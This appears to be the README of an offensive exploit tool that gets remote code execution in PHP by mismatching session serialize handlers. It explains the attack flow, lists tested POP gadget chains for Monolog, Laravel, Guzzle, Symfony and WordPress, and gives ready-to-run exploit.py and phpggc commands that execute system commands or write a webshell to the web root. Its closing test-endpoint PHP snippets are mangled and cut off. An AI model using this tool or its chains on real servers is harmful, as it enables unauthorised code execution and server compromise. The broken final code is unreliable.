# Session Deserialization RCE via Handler Mismatch Remote code execution through PHP's `session.serialize_handler` mismatch. No LFI required. No FPM dependency. Works on any SAPI. ## How It Works PHP supports multiple session serialization formats. The two relevant ones: - `php` (the default): stores session data as `key|serialized_value` - `php_serialize`: stores session data as a single `serialize()`d array When one endpoint writes session data using `php_serialize` and another reads it using the `php` handler, the pipe character `|` inside a serialized string is misinterpreted as a key/value delimiter. This causes PHP to call `unserialize()` on attacker-controlled data when `session_start()` runs on the second endpoint. ### Attack flow ``` 1. Attacker POSTs to endpoint A (php_serialize handler): data = |O:28:"Monolog\Handler\GroupHandler":1:{...} 2. PHP stores this in the session file as: a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";} 3. Attacker GETs endpoint B (php handler) with the same session ID. session_start() reads the file and splits on |: key = a:1:{s:4:"data";s:550:" value = O:28:"Monolog\Handler\GroupHandler":1:{...} PHP calls unserialize() on the value. 4. The deserialized object's __destruct method fires, triggering the POP gadget chain for RCE. ``` ### What makes a target vulnerable The exploit requires ALL of the following: 1. **Two endpoints with different session serialize handlers.** One must use `php_serialize`, the other must use the default `php`. PHP's own default is `php` for both, so this mismatch only occurs when a framework or application explicitly changes the handler for some endpoints. 2. **Shared session storage.** Both endpoints must read/write the same session files (same `session.save_path`). This is the default when both run under the same PHP installation. 3. **A POP gadget chain in autoloaded classes.** The deserialized objects must exist in classes that PHP has loaded (via autoloader or require). The chain must reach a dangerous sink (system(), file_put_contents(), etc.) through magic methods (__destruct, __wakeup, __toString, etc.). ### Where this mismatch occurs in practice - **Laravel** sets `session.serialize_handler = php_serialize` in its session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin, admin scripts, health checks, legacy code) uses the PHP default `php`. - **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent applications on the same server may not. - **Shared hosting** where multiple PHP applications share the same session save path but use different frameworks. - **Mixed codebases** where old and new code coexist on the same domain, with the new code using a framework and the old code using raw PHP sessions. A single-application deployment where every endpoint uses the same handler is NOT vulnerable to this attack. ## Injection Modes ### inject (primary) The target has an endpoint that stores POST data into `$_SESSION` using the `php_serialize` handler. The attacker sends `|` as a POST value. A second request to a `php`-handler endpoint triggers deserialization. ```bash python3 exploit.py --inject-url http://target/save.php \ --inject-param data \ --trigger-url http://target/view.php \ --chain laravel10-cmd --cmd 'id' ``` ### progress (no app session storage needed) Uses `session.upload_progress` to inject the `|` character via the upload filename field. No application-level session writing needed. Combined with the OOM crash from CVE-2026-109618 to persist past cleanup. Limitation: multipart filenames cannot contain NULL bytes, so the POP chain can only use public properties (no protected/private property serialization). ```bash python3 exploit.py --mode progress \ --write-url http://target/any.php \ --trigger-url http://target/default.php \ --chain wordpress-cmd --cmd 'id' ``` ## Built-in POP Chains Each chain is tested end-to-end through the full HTTP exploit flow on PHP 8.3 against the listed library version. ### Current versions (work on latest releases) | Chain | Library | Tested on | Type | Description | |---|---|---|---|---| | `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents | | `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() | | `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") | ### Legacy versions | Chain | Library | Tested on | Type | Description | |---|---|---|---|---| | `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() | | `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") | | `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() | | `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") | | `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) | | `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") | | `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") | | `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) | | `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") | ### Why some chains have version ceilings - **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties. The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead. - **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners in `createClassListener()`, which calls `$this->container->make()` on a null container. The RCE22 chain routes through `league/commonmark` `Environment` instead. - **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws `LogicException` on deserialization. - **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws `BadMethodCallException`. - **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws `LogicException`. All other WP core gadget classes (`FilteredIterator`, `Requests\Hooks`) are also patched. No known POP chain exists in WordPress 7.x core. ### Custom chains Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output and base64 (auto-detected). ```bash phpggc Monolog/RCE1 system id > chain.bin python3 exploit.py --inject-url http://target/save.php \ --inject-param data \ --trigger-url http://target/view.php \ --chain-file chain.bin # Or base64: phpggc Laravel/RCE22 system id -b > chain.b64 python3 exploit.py ... --chain-file chain.b64 ``` ## Usage ```bash # File write webshell (Monolog 3.x, current): python3 exploit.py --inject-url http://target/save.php \ --inject-param data \ --trigger-url http://target/view.php \ --chain monolog3-fw \ --write-path /var/www/html/shell.php # Direct command execution (Laravel 10+, current): python3 exploit.py --inject-url http://target/save.php \ --inject-param data \ --trigger-url http://target/view.php \ --chain laravel10-cmd --cmd 'id' # Custom shell code: python3 exploit.py ... --chain monolog3-fw \ --write-path /var/www/html/s.php \ --shell-code '' # Progress mode (no POST-to-session endpoint needed): python3 exploit.py --mode progress \ --write-url http://target/any_endpoint.php \ --trigger-url http://target/default_handler.php \ --chain wordpress-cmd --cmd 'id' ``` ## Options ``` --mode {inject,progress} Injection mode (default: inject) --inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize) --inject-param PARAM POST parameter stored in $_SESSION (default: data) --write-url URL Any endpoint for progress mode injection --trigger-url URL Endpoint using default php handler (triggers deserialization) --chain CHAIN Built-in POP chain name --chain-file FILE Custom serialized chain (phpggc output, raw or base64) --write-path PATH File path for fw chains (webshell destination) --shell-code CODE Custom PHP code for fw chains --cmd CMD Command for cmd chains --fields N OOM pressure fields for progress mode (default: 30000) --field-size N Bytes per OOM field (default: 512) ``` ## Test Environment The test endpoints used for verification: `test_serialize.php` (inject endpoint, uses php_serialize): ```php $v) $_SESSION[$k] = $v; ``` `test_trigger.php` (trigger endpoint, uses default php handler): ```php